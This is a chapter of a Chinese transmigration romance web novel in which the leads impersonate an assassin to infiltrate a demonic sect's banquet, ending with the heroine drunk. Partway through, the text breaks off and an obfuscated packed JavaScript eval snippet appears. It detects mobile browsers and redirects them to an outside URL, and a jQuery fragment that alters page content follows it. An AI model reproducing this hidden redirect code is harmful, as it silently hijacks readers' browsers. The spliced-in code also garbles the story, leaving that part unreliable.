17. 第十七章 醉酒

作品:《晏姝(穿书)

    “呆了?”聿巟久久等不到沈舒舒回答,朝沈舒舒挥了挥手。


    而此时此刻的沈舒舒大脑cpu已经烧干了,她整个人正处于一片兵荒马乱的状态之中。


    聿巟不禁怪叫道,“不至于吧?”


    他不得已转身问起一直没说话的卫晏,质问道,“你总不会没认出我了吧?”


    “不会。”


    “对我感情这么深?”


    卫晏睨他一眼,“是挺深的。”毕竟也是追杀他十几次的老熟人了。


    聿巟被卫晏的话呛到,嗤笑出声,“不就是追杀你三年吗?我那不还是被你吊着打吗?更何况我可不像那帮孙子一样使阴招。


    我聿荒出手,向来坦荡。


    而且如果那时你能给我比魔宗更高的酬金,我自然也可以帮你杀几个人。


    对了,你雇我杀人应该知道我价格吧!”聿荒向来只认银子不认人,当然,打不过的人除外。


    “知道,”卫晏点头,半晌又真诚答道,“雇不起。”


    “雇不起你找我杀人?”聿巟被噎到,狠狠冷笑一声。


    卫晏不答话。


    聿巟自顾自猜想起来,“难不成你想杀我?”


    “不是。”


    “那你找我做什么?”聿荒这下不明白了。


    “借你身份一用。”卫晏终于道明目的。


    “你还跟我东家过不去呢?不都得到你想要的答案了吗?不过你小子命真大!剑上淬满剧毒都没死。”


    “......”真是聒噪,卫晏握着剑柄的手紧了几分。


    “我不借,除非你给钱。”聿荒拿乔起来,他想的不多,拿回刚刚的银子就行。


    可是卫晏根本没给他机会讨价还价,像是忍耐达到限度,卫晏掀起冰冷的眸子,不带一丝温度的眼神随之扫了过来,聿巟立即就知道准没好事,果不其然,下一瞬卫晏的剑已横在他的脖颈上,同时语气沉沉吐出四字,“没得商量。”


    “行!借你!”聿巟自暴自弃应道,他可不想再跟这个疯子打架了,向来受伤流血只有他。


    三年来,宗主命令他追杀卫晏多少次,他就受了多少次重伤。


    要不是魔宗给的钱多,他才不干了,谁愿意次次上赶着找罪受呢?


    一旁的沈舒舒目睹了整个过程,莫名觉得这两个人的关系好像还不错,暗暗琢磨,难道这两人就是俗话所说的不是冤家不聚头,不打不相识?


    “那我去哪里你才能安心?”聿巟只能问。


    卫晏罕见地沉默了,他本就计划打晕聿荒,绑起来到客栈关一宿,根本没设想过还能动的聿荒应该在哪。


    “我就知道你卫晏!你就不是个好东西!”聿巟像是猜到了卫晏的心理活动,气急败坏骂道。


    卫晏皱起眉头,太吵了,正想着不如还是打晕算了。


    沈舒舒见状,连忙见缝插针,举手示意,“我知道去哪!”


    此话一出,两人的视线皆聚焦在沈舒舒身上,异口同声,“去哪?”


    沈舒舒转动眼珠,娇憨一笑,“虚空山!”


    “为什么?”聿巟不知什么时候嘴里叼了个狗尾巴草,身子一晃一晃的,一副漫不经心的地痞模样。


    “一来呢,虚空山离这远,你可以让卫晏安心对吧,”沈舒舒搭上聿巟的肩,开始她的忽悠大法,“其次,虚空山都是大夫啊,肯定没你的仇家嘛,你可以趁此机会多休假几日。”


    “听起来不错。”聿巟表示肯定,他看向卫晏,却发现某人的眼神好像更冷了,甚至还带有“冉冉升起”的杀意。


    聿巟打了个哆嗦,不禁腹诽卫晏简直是莫名其妙。


    沈舒舒满意地点点头,又看向卫晏,问道,“晏晏你觉得呢?”


    “嗯。”


    沈舒舒也感受到莫名的一股寒气,缩回手搓搓,问一旁的聿巟,“你有没有突然觉得有点冷。”


    聿巟狠狠点头,暗暗看向卫晏。


    “奇怪了。”沈舒舒摸不着头脑。


    协商完后两伙人就此分道扬镳。


    同时留下一个被打晕的管家躺在墙角过夜。


    沈舒舒从头到尾都没注意到卫晏的异常,因为沈舒舒的大脑已经停止运作,回到客栈后喊了一句,“晏晏我先睡了,”说完当真倒头就睡着了。这也不能怪她,实在是因为她太久没熬过夜了,刚刚还有震惊带来的肾上腺素刺激神经,震惊过后属实是扛不住了。


    独留卫晏一人在原地欲言又止。


    黎光初显,“吱呀”一声,屋门被打开,一身凉意被带了进来,沈舒舒于此时悠悠转醒,见沾染露气而衣衫微湿的卫晏轻步走近,她不禁惊叹道,“晏晏你这么早就出去了?做什么呀?”


    “嗯,我去练剑。”卫晏语气如常。


    “真是勤奋的好孩子!”沈舒舒起身洗漱,拍了拍卫晏的肩膀忍不住夸赞道。


    卫晏看向被沈舒舒拍过的肩,昨天她也是这样搭聿巟的肩,她对所有人都这样吗?之前的拥抱呢?也只是单纯的安慰吗?


    练了一晚上剑才得以平稳下来的心绪此时又不平起来。


    算了。


    他又有什么资格想这些呢?


    卫晏垂眸自嘲,他没资格。


    沈舒舒洗漱,见卫晏久久停在原地,神色冷峻,不禁担忧地上前探抚他的额头,“也没烧啊?晏晏,你怎么了?”


    卫晏退后几步,避开沈舒舒的手,低声应道,“我没事。”


    “我去买早点。”他又补充一句,转身匆匆离去。


    沈舒舒怔愣住。


    接下来一天沈舒舒都有些不在状态,即便后面跟着卫晏混进魔宗总部嗜血楼时,也心不在焉。


    “哟!阿九!今日怎么回来了?”


    “要你管?”顶着聿巟脸的卫晏拿捏着聿巟的说话尺度,不顾他人死活的语气模仿到了精髓。


    沈舒舒虽在生着闷气,只能在暗暗心里偷笑,面上却不显一分。


    “好好好!惹不起您好了吧!欸!这是哪来的小娘子?”那人看着伪装过后的沈舒舒疑惑发问。


    “嗯哼?”


    “不问了不问了。”那人见“聿巟”冷哼一声,识趣地闭嘴了,又想起什么似的说道,“阿九,晚上宗主那儿办了个庆功宴,你可别忘了!”


    “行,”卫晏点头表示知道了,紧接着拉着沈舒舒就要离开,“走了!”


    一不在人前,卫晏便松开了沈舒舒的手。


    沈舒舒注意到卫晏的举动,心里跟堵了一样难受,但她现下并未发作,她不想因为自己的情绪扰乱了卫晏筹谋已久的计划。


    两人一路无话,谁也不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14104446|149729||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    想先泄了气。


    但奇怪的是,两人冷战时还能默契地一起应付魔宗的人。


    当夜庆功宴。


    魔宗九位出了名的杀手和魔宗宗主今夜都聚于此。


    沈舒舒轻扫一眼,便淡淡收回视线。


    “我今儿个算是开了眼,有生之年见到老九带了相好回来。”刚刚碰见卫晏和沈舒舒的人正在和一旁的人感叹。


    “咳...”卫晏假咳一声。


    那人瞬间噤声,讲老九闲话是一回事,讲老九闲话被老九听到又是另一回事,这老九是个狠的,他可不想在宗主面前惹事。


    “小九来了?来!坐!小娘子也坐!”位居首位座椅的主儿见“聿巟”进来,爽朗一笑。沈舒舒偷偷瞄了一眼,这位想必就是魔宗宗主,看起来竟然慈眉善目的。


    “多谢宗主。”卫晏牵着沈舒舒坐下。


    “客气什么。来!酒先喝下去暖一暖。小娘子也喝。”宗主举起精致小巧的酒杯对着卫晏和沈舒舒,示意喝酒。


    卫晏一饮而尽完自己酒杯的酒,又轻按住沈舒舒欲抬起酒杯的手,“她喝不了酒,我替她喝。”


    空气静了一瞬。


    “平时拿乔也就罢了,今日宗主不过是请你相好喝酒,你还推三阻四,”号称魔宗老三的人揽着怀里的娇艳欲滴的小娘子,轻晃酒杯,神色不明,说出来的话冲得很,“也未免太不把宗主放在眼里了吧。”


    一旁的宗主只是饮酒,并不说话,仔细观察便会看到他的眼神之中带有阴狠之色。


    卫晏淡淡瞥他一眼,正欲说些什么,就感觉到沈舒舒抽出手,拿起酒杯,笑意盈盈道,“您误会了。阿九的意思是,我平日里喝不了的酒都是他替我喝的,今日宗主在此,阿舒哪还有什么喝不了的酒。”语毕,沈舒舒一饮而尽。


    沈舒舒这话说得巧妙极了,若是聿巟听了,定会为她拍手叫好。


    宗主也并非故意难为两人,不过是借机杀杀老九的锐气,让他知道谁才是宗主罢了,既然沈舒舒给足了他面子,他也就不再计较,“原来如此!小九,你可真有福气!这小娘子就是朵解语花啊!”


    卫晏敛眸藏色,轻笑两下,又倒了杯酒敬他,再次一饮而尽。


    “好!今儿个咱我们兄弟几个不醉不归!只喝酒不谈事!”


    看来今晚没有机会探问信物所处位置了,沈舒舒心下暗想。


    “对对对!喝酒!”


    “喝!”


    “喝!不醉不归!”


    几轮下来,纵使卫晏有意挡酒,沈舒舒也喝了不少。


    其实不都是他人灌的酒,沈舒舒她自己,也想借着酒排解心中苦闷。


    在房门外看起来烂醉如泥的卫晏一进门,神色瞬时恢复清明,半分醉意也不见。


    看着怀里神智已然不清的沈舒舒,他沉默片刻,终究是叹了口气,无奈地拦腰抱起沈舒舒,往床榻边走去。


    正当他要放下沈舒舒起身离开时,沈舒舒却是突然伸出手环抱住他的脖颈。


    感受到颈边传来的温热,卫晏瞬时僵住,心跳猛地变得紊乱不平。他看向沈舒舒,却见她双颊酡红,但并未睁眼。


    他清醒了一瞬,试图解开沈舒舒的双手形成的束缚,却不想沈舒舒突然加紧了力道,重重一压,将他拉了下去。


    唔。